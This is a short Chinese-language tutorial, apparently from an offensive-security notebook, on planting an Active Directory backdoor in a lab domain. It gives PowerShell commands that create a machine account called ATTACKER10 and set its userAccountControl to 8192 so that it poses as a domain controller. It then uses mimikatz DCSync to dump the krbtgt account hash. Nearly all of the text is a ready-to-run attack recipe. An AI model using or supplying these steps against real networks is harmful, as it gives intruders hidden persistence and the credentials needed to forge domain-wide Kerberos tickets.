UserAccountControl将ID设置为8192作为后门

运行环境：YAYI.local - Windows Server 2012 - DC  -----   YAYI.local - Windows 7 - 域机器(WIN-BMIO66D4K15)

在域控机器执行

powershell下运行
如果要在非DC下执行需要执行命令:Import-Module Microsoft.ActiveDirectory.Management.dll #导入Microsoft.ActiveDirectory.Management.dll

#添加机器账户
New-ADComputer -Name ATTACKER10 -AccountPassword (ConvertTo-SecureString -String "Hjk123456!" -Force -AsPlainText)

#设置机器账户的userAccountControl (需要域管权限)
$ADComputer=Get-ADComputer -Identity ATTACKER10
Set-ADObject -Identity $ADComputer -Replace @{userAccountControl=8192}

#查询域DC机器
Get-ADGroupMember -Identity "Domain Controllers"

域内机器执行dcsync dump

(需要等待几分钟)
mimikatz:
lsadump::dcsync /user:krbtgt